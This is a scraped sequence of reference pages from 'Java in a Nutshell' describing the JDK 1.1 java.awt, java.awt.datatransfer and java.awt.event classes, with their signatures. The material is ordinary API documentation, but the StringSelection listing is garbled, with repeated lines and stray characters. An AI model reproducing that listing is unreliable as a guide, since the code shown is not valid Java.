18. The java.awt Package

Contents:

Select a new section and then

The java.awt package is the Abstract Windowing Toolkit. The classes of this package may be roughly divided into three categories (see Figure 18.1 and Figure 18.2).

  • Graphics: These classes define colors, fonts, images, polygons, and so forth.

  • Components: These classes are GUI (graphical user interface) components such as buttons, menus, lists, and dialog boxes.

  • Layout Managers: These classes control the layout of components within their container objects.

Note that separate packages, java.awt.datatransfer, java.awt.event, and java.awt.image, contain classes for cut-and-paste, event handling, and image manipulation.

Figure 18.1: Graphics, event, and exception classes of the java.awt package

[Graphic: Figure 18-1]

In the first category of classes, Graphics is probably the most important. This class defines methods for doing line and text drawing and image painting. It relies on other classes such as Color, Font, Image, and Polygon. Image is itself an important class, used in many places in java.awt and throughout the related package java.awt.image. Event is another important class that describes a user or window system event that has occurred. In Java 1.1, Event is superseded by the AWTEvent class.

Component and MenuComponent are root classes in the second category of java.awt classes. Their subclasses are GUI components that can appear in interfaces and menus. The Container class is one that contains components and arranges them visually. You add components to a container with the add() method and specify a layout manager for the container with the setLayout() method.

There are three commonly used Container subclasses. Frame is a toplevel window that can contain a menu bar and have a custom cursor and an icon. Dialog is a dialog window. Panel is a container that does not have its own window--it is contained within some other container.

The third category of java.awt classes is the layout managers. The subclasses of LayoutManager are responsible for arranging the Component objects contained within a specified Container. GridBagLayout, BorderLayout, and GridLayout are probably the most useful of these layout managers.

See Chapter 8, New AWT Features, for examples of using some of the new Java 1.1 features of this package.

Figure 18.2: Component and layout classes of the java.awt package

[Graphic: Figure 18-2]

18.1 java.awt.AWTError (JDK 1.0)

Signals that an error has occurred in the java.awt package.

public class AWTError extends Error {
    // Public Constructor
            public AWTError(String msg);
}

Hierarchy:

Object->Throwable(Serializable)->Error->AWTError

Previous | Home | Next
java.applet.AudioClip (JDK 1.0) | Book Index | java.awt.AWTEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] The java.awt.datatransfer Package

Java in a Nutshell

Previous Chapter 19 Next

19. The java.awt.datatransfer Package

Contents:
java.awt.datatransfer.Clipboard (JDK 1.1)
java.awt.datatransfer.ClipboardOwner (JDK 1.1)
java.awt.datatransfer.DataFlavor (JDK 1.1)
java.awt.datatransfer.StringSelection (JDK 1.1)
java.awt.datatransfer.Transferable (JDK 1.1)
java.awt.datatransfer.UnsupportedFlavorException (JDK 1.1)

This small package contains classes and interfaces that support a generic inter-application data transfer mechanism. It also provides support for cut-and-paste data transfer on top of that mechanism. This package, and all of its classes and interfaces, are new in Java 1.1. Future releases of Java are likely to extend this package with support for data transfer through drag-and-drop.

Figure 19.1 shows the class hierarchy for java.datatransfer. DataFlavor and Transferable define the basic data transfer mechanism. Clipboard and ClipboardOwner provide support for cut-and-paste. StringSelection is a convenience class that makes it particularly easy to transfer textual data between applications.

Figure 19.1: The java.awt.datatransfer package

[Graphic: Figure 19-1]

19.1 java.awt.datatransfer.Clipboard (JDK 1.1)

This class represents a clipboard on which data may be transferred using the cut-and-paste metaphor. When data is "cut," it should be encapsulated in a Transferable object and registered with a Clipboard object by calling setContents(). A Clipboard can only hold a single piece of data at a time, so a ClipboardOwner object must be specified when data is placed on the clipboard. This object is notified that it no longer "owns" the clipboard when the data is replaced by other, more recent, data.

When a "paste" is requested by the user, an application requests the data on the Clipboard by calling getContents(), which returns a Transferable object. The methods of this object can be used to negotiate a mutually-compatible data format and to actually transfer the data.

A clipboard name is passed to the Clipboard() constructor, and may be retrieved with getName(). This name is not actually used in Java 1.1, however.

Note that while applications can create their own private Clipboard objects for intra-application cut-and-paste, it is more common for them to use the system clipboard to enable cut-and-paste between applications. You can obtain the system clipboard by calling the getSystemClipboard() method of the current Toolkit object. Untrusted applet code is not allowed to access the system clipboard, so untrusted applets cannot participate in inter-application cut-and-paste.

public class Clipboard extends Object {
    // Public Constructor
            public Clipboard(String name);
    // Protected Instance Variables
            protected Transferable contents;
            protected ClipboardOwner owner;
    // Public Instance Methods
            public synchronized Transferable getContents(Object requestor);
            public String getName();
            public synchronized void setContents(Transferable contents, ClipboardOwner owner);
}

Passed To:

ClipboardOwner.lostOwnership(), StringSelection.lostOwnership()

Returned By:

Toolkit.getSystemClipboard()

Previous | Home | Next
java.awt.Window (JDK 1.0) | Book Index | java.awt.datatransfer.ClipboardOwner (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] 19.2 java.awt.datatransfer.ClipboardOwner (JDK 1.1)

Java in a Nutshell

Previous Chapter 19
The java.awt.datatransfer Package 		Next

19.2 java.awt.datatransfer.ClipboardOwner (JDK 1.1)

This interface defines the single method that an object that places data on a Clipboard must implement. This method is used to notify the object when its data on the clipboard is replaced by other, more recent, data. An object that places data on a clipboard must remain ready to satisfy requests for that data until lostOwnership() is called.

public abstract interface ClipboardOwner {
    // Public Instance Methods
            public abstract void lostOwnership(Clipboard clipboard, Transferable contents);
}

Implemented By:

StringSelection

Passed To:

Clipboard.setContents()

Type Of:

Clipboard.owner

Previous | Home | Next
java.awt.datatransfer.Clipboard (JDK 1.1) | Book Index | java.awt.datatransfer.DataFlavor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] 19.3 java.awt.datatransfer.DataFlavor (JDK 1.1)

Java in a Nutshell

Previous Chapter 19
The java.awt.datatransfer Package 		Next

19.3 java.awt.datatransfer.DataFlavor (JDK 1.1)

Objects of this type define a data type or format for the purposes of data transfer. A DataFlavor is characterized by two values. The first is a descriptive human-readable name, passed to a DataFlavor() constructor or set with setHumanPresentableName().

The second component of a DataFlavor specifies the type of data to be transferred in a more machine-readable way. The two DataFlavor() constructors allow two distinct ways to specify this data type. One way is by directly specifying the representation class of the data. This is a Class object that defines the Java type that the recipient of a data transfer is passed. The other way to specify the data type represented by a DataFlavor is to pass a string that specifies the MIME type of the data to be transferred.

When you construct a DataFlavor object by specifying the representation type of the data, the MIME type of the DataFlavor is automatically set to:

application/x-java-serialized-object class=classname

This indicates that the object is to be transferred using the data format of the Java object serialization protocol. When you pass a MIME type string to the DataFlavor() constructor, on the other hand, the representation class of the DataFlavor is automatically set to the Class object for java.io.InputStream. This means that the recipient of the data transfer is given an InputStream object from which it can read and parse data in the specified MIME format.

Because the same MIME type can be specified with a number of slightly different strings, the DataFlavor class converts the MIME type to a canonical form so that it can be uniquely identified and compared. Use isMimeTypeEqual() to compare the MIME type of a DataFlavor object with another MIME type, or with the MIME type of another DataFlavor.

Because textual data is so often transferred, the DataFlavor class defines constants for two commonly-used data flavors. stringFlavor represents text transferred as a String object, while plainTextFlavor represents text transferred through an InputStream, using the text/plain MIME type.

public class DataFlavor extends Object {
    // Public Constructors
            public DataFlavor(Class representationClass, String humanPresentableName);
            public DataFlavor(String mimeType, String humanPresentableName);
    // Class Variables
            public static DataFlavor plainTextFlavor;
            public static DataFlavor stringFlavor;
    // Public Instance Methods
            public boolean equals(DataFlavor dataFlavor);
            public String getHumanPresentableName();
            public String getMimeType();
            public Class getRepresentationClass();
            public boolean isMimeTypeEqual(String mimeType);
            public final boolean isMimeTypeEqual(DataFlavor dataFlavor);
            public void setHumanPresentableName(String humanPresentableName);
    // Protected Instance Methods
            protected String normalizeMimeType(String mimeType);
            protected String normalizeMimeTypeParameter(String parameterName, String parameterValue);
}

Passed To:

DataFlavor.equals(),
DataFlavor.isMimeTypeEqual(),
StringSelection.getTransferData(),
StringSelection.isDataFlavorSupported(),
Transferable.getTransferData(),
Transferable.isDataFlavorSupported(),
UnsupportedFlavorException()

Returned By:

StringSelection.getTransferDataFlavors(), Transferable.getTransferDataFlavors()

Type Of:

DataFlavor.plainTextFlavor, DataFlavor.stringFlavor

Previous | Home | Next
java.awt.datatransfer.ClipboardOwner (JDK 1.1) | Book Index | java.awt.datatransfer.StringSelection (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] 19.4 java.awt.datatransfer.StringSelection (JDK 1.1)

Java in a Nutshell

Previous Chapter 19
The java.awt.datatransfer Package 		Next

19.4 java.awt.datatransfer.StringSelection (JDK 1.1)

This convenience class implements the Transferable and ClipboardOwner interfaces in order to make it very easy to transfer String values through the AWT data transfer mechanism. It is able to transfer String values using either the DataFlavor.stringFlavor or DataFlavor.plainTextFlavor data flavors.

To create a StringSelection object, simply pass the String you want to transfer to the StringSelection() constructor. You can then make the StringSelection available for transfer by passing it to the setContents() method of the Clipboard. You need never call the methods of StringSelection yourself.

public class StringSelection extends Object implements Transferable, ClipboardOwner {
    // Public Constructor
            public StringSelection(String data);
    // Public Instance Methods
            public synchronized Object getTransferData(DataFlavor flavor)
            public synchronized Object getTransferData'u'throws UnsupportedFlavorException, IOException;
            public synchronized Object getTransferData'u'// From Transferable
            public synchronized DataFlavor[] getTransferDataFlavors();  // From Transferable
            public boolean isDataFlavorSupported(DataFlavor flavor);  // From Transferable
            public void lostOwnership(Clipboard clipboard, Transferable contents);  // From ClipboardOwner
}

Previous | Home | Next
java.awt.datatransfer.DataFlavor (JDK 1.1) | Book Index | java.awt.datatransfer.Transferable (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] 19.5 java.awt.datatransfer.Transferable (JDK 1.1)

Java in a Nutshell

Previous Chapter 19
The java.awt.datatransfer Package 		Next

19.5 java.awt.datatransfer.Transferable (JDK 1.1)

This interface defines the methods that a class must define if it is to act as the source object in a data transfer operation.

getTransferDataFlavors() should return an array of DataFlavor objects that specify the data types or formats in which the object can provide its data. The DataFlavor objects should be ordered from best format (most richly descriptive) to worst format.

isDataFlavorSupported() must return a boolean value indicating whether it can transfer data using a specified DataFlavor. Finally, getTransferData() must return an object that represents the data formatted as required by the specified DataFlavor.

StringSelection is a pre-defined class that implements the Transferable interface for the transfer of string data.

public abstract interface Transferable {
    // Public Instance Methods
            public abstract Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException;
            public abstract DataFlavor[] getTransferDataFlavors();
            public abstract boolean isDataFlavorSupported(DataFlavor flavor);
}

Implemented By:

StringSelection

Passed To:

Clipboard.setContents(),
ClipboardOwner.lostOwnership(),
StringSelection.lostOwnership()

Returned By:

Clipboard.getContents()

Type Of:

Clipboard.contents

Previous | Home | Next
java.awt.datatransfer.StringSelection (JDK 1.1) | Book Index | java.awt.datatransfer.UnsupportedFlavorException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] 19.6 java.awt.datatransfer.UnsupportedFlavorException (JDK 1.1)

Java in a Nutshell

Previous Chapter 19
The java.awt.datatransfer Package 		Next

19.6 java.awt.datatransfer.UnsupportedFlavorException (JDK 1.1)

An exception of this type signals that a Transferable object could not provide data in the requested format.

public class UnsupportedFlavorException extends Exception {
    // Public Constructor
            public UnsupportedFlavorException(DataFlavor flavor);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->UnsupportedFlavorException

Thrown By:

StringSelection.getTransferData(), Transferable.getTransferData()

Previous | Home | Next
java.awt.datatransfer.Transferable (JDK 1.1) | Book Index | The java.awt.event Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] The java.awt.event Package

Java in a Nutshell

Previous Chapter 20 Next

20. The java.awt.event Package

Contents:
java.awt.event.ActionListener (JDK 1.1)
java.awt.event.AdjustmentEvent (JDK 1.1)
java.awt.event.AdjustmentListener (JDK 1.1)
java.awt.event.ComponentAdapter (JDK 1.1)
java.awt.event.ComponentEvent (JDK 1.1)
java.awt.event.ComponentListener (JDK 1.1)
java.awt.event.ContainerAdapter (JDK 1.1)
java.awt.event.ContainerEvent (JDK 1.1)
java.awt.event.ContainerListener (JDK 1.1)
java.awt.event.FocusAdapter (JDK 1.1)
java.awt.event.FocusEvent (JDK 1.1)
java.awt.event.FocusListener (JDK 1.1)
java.awt.event.InputEvent (JDK 1.1)
java.awt.event.ItemEvent (JDK 1.1)
java.awt.event.ItemListener (JDK 1.1)
java.awt.event.KeyAdapter (JDK 1.1)
java.awt.event.KeyEvent (JDK 1.1)
java.awt.event.KeyListener (JDK 1.1)
java.awt.event.MouseAdapter (JDK 1.1)
java.awt.event.MouseEvent (JDK 1.1)
java.awt.event.MouseListener (JDK 1.1)
java.awt.event.MouseMotionAdapter (JDK 1.1)
java.awt.event.MouseMotionListener (JDK 1.1)
java.awt.event.PaintEvent (JDK 1.1)
java.awt.event.TextEvent (JDK 1.1)
java.awt.event.TextListener (JDK 1.1)
java.awt.event.WindowAdapter (JDK 1.1)
java.awt.event.WindowEvent (JDK 1.1)
java.awt.event.WindowListener (JDK 1.1)

This package defines classes and interfaces used for event handling in the AWT. This package, and all of its classes and interfaces, are new in Java 1.1.

The members of this package fall into three categories:

  • Events. The classes with names ending in "Event" represent specific types of events, generated by the AWT or by one of the AWT components.

  • Listeners. The interfaces in this package are all "event listeners"; their names end with "Listener." These interfaces define the methods that must be implemented by any object that wants to be notified when a particular event occurs. Note that there is a Listener interface for each Event class.

  • Adapters. Each of the classes with a name ending in "Adapter" provides a no-op implementation for an event listener interface that defines more than one method. When you are only interested in a single method of an event listener interface, it is easier to subclass an Adapter class than to implement all of the methods of the corresponding Listener interface.

Figure 20.1 shows the class hierarchy for this package. See Chapter 7, Events, for more information on events and event handling.

Figure 20.1: The java.awt.event package

[Graphic: Figure 20-1]

20.1 java.awt.event.ActionEvent (JDK 1.1)

An object of this class represents a high-level "action" event generated by an AWT component. Instead of representing a direct user event, such as a mouse or keyboard event, ActionEvent represents some sort of action performed by the user on an AWT component.

The getID() method returns the type of action that has occurred. For AWT-generated action events, this type is always ActionEvent.ACTION_PERFORMED; custom components can generate action events of other types.

The getActionCommand() method returns a String that serves as a kind of name for the action that the event represents. The Button and MenuItem components have a setActionCommand() method that allows the programmer to specify an "action command" string to be included with any action events generated by those components. It is this value that is returned by the getActionCommand() method. When more than one Button or other component notifies the same ActionListener, you can use getActionCommand() to help determine the appropriate response to the event. This is generally a better technique than using the source object returned by getSource(). If no action command string is explicitly set, getActionCommand returns the label of the Button or MenuItem. Note, however, that internationalized programs should not rely on these labels to be constant.

Finally, getModifiers() returns a value that indicates what keyboard modifiers were in effect when the action event was triggered. Use the various _MASK constants, along with the & operator to decode this value.

public class ActionEvent extends AWTEvent {
    // Public Constructors
            public ActionEvent(Object source, int id, String command);
            public ActionEvent(Object source, int id, String command, int modifiers);
    // Constants
            public static final int ACTION_FIRST;
            public static final int ACTION_LAST;
            public static final int ACTION_PERFORMED;
            public static final int ALT_MASK;
            public static final int CTRL_MASK;
            public static final int META_MASK;
            public static final int SHIFT_MASK;
    // Public Instance Methods
            public String getActionCommand();
            public int getModifiers();
            public String paramString();  // Overrides AWTEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ActionEvent

Passed To:

ActionListener.actionPerformed(),
AWTEventMulticaster.actionPerformed(),
Button.processActionEvent(),
List.processActionEvent(),
MenuItem.processActionEvent(),
TextField.processActionEvent()

Previous | Home | Next
java.awt.datatransfer.UnsupportedFlavorException (JDK 1.1) | Book Index | java.awt.event.ActionListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.2 java.awt.event.ActionListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.2 java.awt.event.ActionListener (JDK 1.1)

This interface defines the method that an object must implement to "listen" for action events on AWT components. When an ActionEvent occurs, an AWT component notifies its registered ActionListener objects by invoking their actionPerformed() methods.

public abstract interface ActionListener extends EventListener {
    // Public Instance Methods
            public abstract void actionPerformed(ActionEvent e);
}

Implemented By:

AWTEventMulticaster

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Button.addActionListener(),
Button.removeActionListener(),
List.addActionListener(),
List.removeActionListener(),
MenuItem.addActionListener(),
MenuItem.removeActionListener(),
TextField.addActionListener(),
TextField.removeActionListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.ActionEvent (JDK 1.1) | Book Index | java.awt.event.AdjustmentEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.3 java.awt.event.AdjustmentEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.3 java.awt.event.AdjustmentEvent (JDK 1.1)

An event of this type indicates that an adjustment has been made to an Adjustable object--usually, this means that the user has interacted with a Scrollbar component.

The getValue() method returns the new value of the Adjustable object. This is usually the most important piece of information stored in the event. getAdjustable() returns the Adjustable object that was the source of the event. It is a convenient alternative to the inherited getSource() method.

The getID() method returns the type of an AdjustmentEvent. The standard AWT components only generate adjustment events of type AdjustmentEvent.ADJUSTMENT_VALUE_CHANGED. There are several types of adjustments that can be made to an Adjustable object, however, and the getAdjustmentType() method returns one of five constants to indicate which type has occurred. UNIT_INCREMENT indicates that the Adjustable value has been incremented by one unit, as in a scroll-line-down operation. UNIT_DECREMENT indicates the opposite: scroll-line-up. BLOCK_INCREMENT and BLOCK_DECREMENT indicate that the Adjustable object has been incremented or decremented by multiple units, as in a scroll-page-down or scroll-page-up operation. Finally, the TRACK constant indicates that the Adjustable value has been set to an absolute value unrelated to its previous value, as when the user drags a scrollbar to a new position.

public class AdjustmentEvent extends AWTEvent {
    // Public Constructor
            public AdjustmentEvent(Adjustable source, int id, int type, int value);
    // Constants
            public static final int ADJUSTMENT_FIRST;
            public static final int ADJUSTMENT_LAST;
            public static final int ADJUSTMENT_VALUE_CHANGED;
            public static final int BLOCK_DECREMENT;
            public static final int BLOCK_INCREMENT;
            public static final int TRACK;
            public static final int UNIT_DECREMENT;
            public static final int UNIT_INCREMENT;
    // Public Instance Methods
            public Adjustable getAdjustable();
            public int getAdjustmentType();
            public int getValue();
            public String paramString();  // Overrides AWTEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->AdjustmentEvent

Passed To:

AdjustmentListener.adjustmentValueChanged(),
AWTEventMulticaster.adjustmentValueChanged(),
Scrollbar.processAdjustmentEvent()

Previous | Home | Next
java.awt.event.ActionListener (JDK 1.1) | Book Index | java.awt.event.AdjustmentListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.4 java.awt.event.AdjustmentListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.4 java.awt.event.AdjustmentListener (JDK 1.1)

This interface defines the method that an object must implement to "listen" for adjustment events on AWT components. When an AdjustmentEvent occurs, an AWT component notifies its registered AdjustmentListener objects by invoking their adjustmentValueChanged() methods.

public abstract interface AdjustmentListener extends EventListener {
    // Public Instance Methods
            public abstract void adjustmentValueChanged(AdjustmentEvent e);
}

Implemented By:

AWTEventMulticaster

Passed To:

Adjustable.addAdjustmentListener(),
Adjustable.removeAdjustmentListener(),
AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Scrollbar.addAdjustmentListener(),
Scrollbar.removeAdjustmentListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.AdjustmentEvent (JDK 1.1) | Book Index | java.awt.event.ComponentAdapter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.5 java.awt.event.ComponentAdapter (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.5 java.awt.event.ComponentAdapter (JDK 1.1)

This class is a trivial implementation of ComponentListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass ComponentAdapter than it is to implement ComponentListener from scratch.

public abstract class ComponentAdapter extends Object implements ComponentListener {
    // Default Constructor: public ComponentAdapter()
    // Public Instance Methods
            public void componentHidden(ComponentEvent e);  // From ComponentListener
            public void componentMoved(ComponentEvent e);  // From ComponentListener
            public void componentResized(ComponentEvent e);  // From ComponentListener
            public void componentShown(ComponentEvent e);  // From ComponentListener
}

Hierarchy:

Object->ComponentAdapter(ComponentListener(EventListener))

Previous | Home | Next
java.awt.event.AdjustmentListener (JDK 1.1) | Book Index | java.awt.event.ComponentEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.6 java.awt.event.ComponentEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.6 java.awt.event.ComponentEvent (JDK 1.1)

An event of this type serves as notification that the source Component has been moved, resized, shown, or hidden. Note that this event is a notification only: the AWT handles these Component operations internally, and the recipient of the event need take no action itself.

getComponent() returns the component that was moved, resized, shown or hidden. It is simply a convenient alternative to getSource().

getID() returns one of four COMPONENT_ constants to indicate what operation was performed on the Component.

public class ComponentEvent extends AWTEvent {
    // Public Constructor
            public ComponentEvent(Component source, int id);
    // Constants
            public static final int COMPONENT_FIRST;
            public static final int COMPONENT_HIDDEN;
            public static final int COMPONENT_LAST;
            public static final int COMPONENT_MOVED;
            public static final int COMPONENT_RESIZED;
            public static final int COMPONENT_SHOWN;
    // Public Instance Methods
            public Component getComponent();
            public String paramString();  // Overrides AWTEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent

Extended By:

ContainerEvent, FocusEvent, InputEvent, PaintEvent, WindowEvent

Passed To:

AWTEventMulticaster.componentHidden(),
AWTEventMulticaster.componentMoved(),
AWTEventMulticaster.componentResized(),
AWTEventMulticaster.componentShown(),
Component.processComponentEvent(),
ComponentAdapter.componentHidden(),
ComponentAdapter.componentMoved(),
ComponentAdapter.componentResized(),
ComponentAdapter.componentShown(),
ComponentListener.componentHidden(),
ComponentListener.componentMoved(),
ComponentListener.componentResized(),
ComponentListener.componentShown()

Previous | Home | Next
java.awt.event.ComponentAdapter (JDK 1.1) | Book Index | java.awt.event.ComponentListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.7 java.awt.event.ComponentListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.7 java.awt.event.ComponentListener (JDK 1.1)

This interface defines the methods that an object must implement to "listen" for component events on AWT components. When a ComponentEvent occurs, an AWT component notifies its registered ComponentListener objects by invoking one of their methods.

An easy way to implement this interface is by subclassing the ComponentAdapter class.

public abstract interface ComponentListener extends EventListener {
    // Public Instance Methods
            public abstract void componentHidden(ComponentEvent e);
            public abstract void componentMoved(ComponentEvent e);
            public abstract void componentResized(ComponentEvent e);
            public abstract void componentShown(ComponentEvent e);
}

Implemented By:

AWTEventMulticaster, ComponentAdapter

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Component.addComponentListener(),
Component.removeComponentListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.ComponentEvent (JDK 1.1) | Book Index | java.awt.event.ContainerAdapter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.8 java.awt.event.ContainerAdapter (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.8 java.awt.event.ContainerAdapter (JDK 1.1)

This class is a trivial implementation of ContainerListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass ContainerAdapter than it is to implement ContainerListener from scratch.

public abstract class ContainerAdapter extends Object implements ContainerListener {
    // Default Constructor: public ContainerAdapter()
    // Public Instance Methods
            public void componentAdded(ContainerEvent e);  // From ContainerListener
            public void componentRemoved(ContainerEvent e);  // From ContainerListener
}

Hierarchy:

Object->ContainerAdapter(ContainerListener(EventListener))

Previous | Home | Next
java.awt.event.ComponentListener (JDK 1.1) | Book Index | java.awt.event.ContainerEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.9 java.awt.event.ContainerEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.9 java.awt.event.ContainerEvent (JDK 1.1)

An event of this type serves as notification that the source Container has had a child added to it or removed from it. Note that this event is a notification only; the AWT adds or removes the child internally, and the recipient of this event need take no action itself.

getChild() returns the child Component that was added or removed, and getContainer() returns the Container that it was added to or removed from. getContainer() is simply a convenient alternative to getSource().

getID() returns the constant COMPONENT_ADDED or COMPONENT_REMOVED to indicate whether the specified child was added or removed.

public class ContainerEvent extends ComponentEvent {
    // Public Constructor
            public ContainerEvent(Component source, int id, Component child);
    // Constants
            public static final int COMPONENT_ADDED;
            public static final int COMPONENT_REMOVED;
            public static final int CONTAINER_FIRST;
            public static final int CONTAINER_LAST;
    // Public Instance Methods
            public Component getChild();
            public Container getContainer();
            public String paramString();  // Overrides ComponentEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent->ContainerEvent

Passed To:

AWTEventMulticaster.componentAdded(),
AWTEventMulticaster.componentRemoved(),
Container.processContainerEvent(),
ContainerAdapter.componentAdded(),
ContainerAdapter.componentRemoved(),
ContainerListener.componentAdded(),
ContainerListener.componentRemoved()

Previous | Home | Next
java.awt.event.ContainerAdapter (JDK 1.1) | Book Index | java.awt.event.ContainerListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.10 java.awt.event.ContainerListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.10 java.awt.event.ContainerListener (JDK 1.1)

This interface defines the methods that an object must implement to "listen" for container events on AWT components. When a ContainerEvent occurs, an AWT component notifies its registered ContainerListener objects by invoking one of their methods.

An easy way to implement this interface is by subclassing the ContainerAdapter class.

public abstract interface ContainerListener extends EventListener {
    // Public Instance Methods
            public abstract void componentAdded(ContainerEvent e);
            public abstract void componentRemoved(ContainerEvent e);
}

Implemented By:

AWTEventMulticaster, ContainerAdapter

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Container.addContainerListener(),
Container.removeContainerListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.ContainerEvent (JDK 1.1) | Book Index | java.awt.event.FocusAdapter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.11 java.awt.event.FocusAdapter (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.11 java.awt.event.FocusAdapter (JDK 1.1)

This class is a trivial implementation of FocusListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass FocusAdapter than it is to implement FocusListener from scratch.

public abstract class FocusAdapter extends Object implements FocusListener {
    // Default Constructor: public FocusAdapter()
    // Public Instance Methods
            public void focusGained(FocusEvent e);  // From FocusListener
            public void focusLost(FocusEvent e);  // From FocusListener
}

Hierarchy:

Object->FocusAdapter(FocusListener(EventListener))

Previous | Home | Next
java.awt.event.ContainerListener (JDK 1.1) | Book Index | java.awt.event.FocusEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.12 java.awt.event.FocusEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.12 java.awt.event.FocusEvent (JDK 1.1)

An event of this type indicates that a Component has gained or lost focus on a temporary or permanent basis.

Use the inherited getComponent() method to determine which component has gained or lost focus. Use getID() to determine the type of focus event; it returns FOCUS_GAINED or FOCUS_LOST.

When focus is lost, you can call isTemporary() to determine whether it is a temporary loss of focus. Temporary focus loss occurs when the window that contains the component loses focus, for example, or when focus is temporarily diverted to a popup menu or a scrollbar. Similarly, you can also use isTemporary() to determine whether focus is being granted to a component on a temporary basis.

public class FocusEvent extends ComponentEvent {
    // Public Constructors
            public FocusEvent(Component source, int id, boolean temporary);
            public FocusEvent(Component source, int id);
    // Constants
            public static final int FOCUS_FIRST;
            public static final int FOCUS_GAINED;
            public static final int FOCUS_LAST;
            public static final int FOCUS_LOST;
    // Public Instance Methods
            public boolean isTemporary();
            public String paramString();  // Overrides ComponentEvent
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent->ComponentEvent->FocusEvent

Passed To:

AWTEventMulticaster.focusGained(),
AWTEventMulticaster.focusLost(),
Component.processFocusEvent(),
FocusAdapter.focusGained(),
FocusAdapter.focusLost(),
FocusListener.focusGained(),
FocusListener.focusLost()

Previous | Home | Next
java.awt.event.FocusAdapter (JDK 1.1) | Book Index | java.awt.event.FocusListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.13 java.awt.event.FocusListener (JDK 1.1)

Java in a Nutshell

Previous Chapter 20
The java.awt.event Package 		Next

20.13 java.awt.event.FocusListener (JDK 1.1)

This interface defines the methods that an object must implement to "listen" for focus events on AWT components. When a FocusEvent occurs, an AWT component notifies its registered FocusListener objects by invoking one of their methods.

An easy way to implement this interface is by subclassing the FocusAdapter class.

public abstract interface FocusListener extends EventListener {
    // Public Instance Methods
            public abstract void focusGained(FocusEvent e);
            public abstract void focusLost(FocusEvent e);
}

Implemented By:

AWTEventMulticaster, FocusAdapter

Passed To:

AWTEventMulticaster.add(),
AWTEventMulticaster.remove(),
Component.addFocusListener(),
Component.removeFocusListener()

Returned By:

AWTEventMulticaster.add(), AWTEventMulticaster.remove()

Previous | Home | Next
java.awt.event.FocusEvent (JDK 1.1) | Book Index | java.awt.event.InputEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] 20.14 java.awt.event.InputEvent (JDK 1.1)
